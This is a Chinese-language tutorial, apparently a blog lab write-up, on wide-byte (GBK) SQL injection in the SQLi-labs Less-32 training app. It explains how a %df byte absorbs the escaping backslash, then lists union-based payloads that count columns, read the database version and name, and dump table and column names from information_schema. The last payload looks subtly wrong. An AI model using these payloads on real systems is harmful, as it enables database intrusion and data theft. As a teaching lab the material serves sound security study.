宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

第一节 构造绕过代码

[http://192.168.139.136/sqli-labs-master/Less-32/]
SQLlib-第32关之宽字节注入
[http://192.168.139.136/sqli-labs-master/Less-32/?id=1]
SQLlib-第32关之宽字节注入
[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%27]
SQLlib-第32关之宽字节注入
此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构
[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=1%20--+]
SQLlib-第32关之宽字节注入
[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=2%20--+]
SQLlib-第32关之宽字节注入说明:此时的单引号成功进入数据库查询语句中,实现id处的闭合

第二节注入原理

我们通过阅读32 关的源码,发现几句非常意思的代码,如下:

此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。

Id=1’-----id=1\’-----id=1%5c%27
Id=1%fd’-----id=1%df%5c%27-----id=1%DF5C%27-----ID=1運’
0xdf5c 就是一个汉字"運"。
SQLlib-第32关之宽字节注入SQLlib-第32关之宽字节注入

第三节代码审计

SQLlib-第32关之宽字节注入SQLlib-第32关之宽字节注入

第四节注入实操

判断字段个数

[?id =1 %df’ order by 1 --+ ]
[?id =1 %df’ order by 2 --+ ]
[?id =1 %df’ order by 3 --+ ]
SQLlib-第32关之宽字节注入SQLlib-第32关之宽字节注入

判断显示位置

[?id =1 %df’ and 1=2 union select 1,2,3 --+ ]
SQLlib-第32关之宽字节注入

判断数据库版本何当前数据库名

[?id =1 %df’ and 1=2 union select 1,version(),database() --+ ]
SQLlib-第32关之宽字节注入

数据库中的表名

[id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+]
SQLlib-第32关之宽字节注入

表中字段

[?id=1%df%5c%27and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3--+]
where table_name=’user’,注意,user用引号括起来,但是会被转义:在16进制的表名前再加个0x,user转换成16进制是75736572。
SQLlib-第32关之宽字节注入

字段内容

[?id=1%df’and 1=2 union select 1,(select group_concat(0x75736572) from information_schema.columns where table_name=0x75736572 limit 0,1),3--+]

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

相关文章:

  • 2021-09-02
  • 2021-07-29
  • 2021-06-17
  • 2022-12-23
  • 2022-02-07
  • 2021-10-20
猜你喜欢
  • 2021-08-03
  • 2021-05-28
  • 2021-10-16
  • 2021-05-02
相关资源
相似解决方案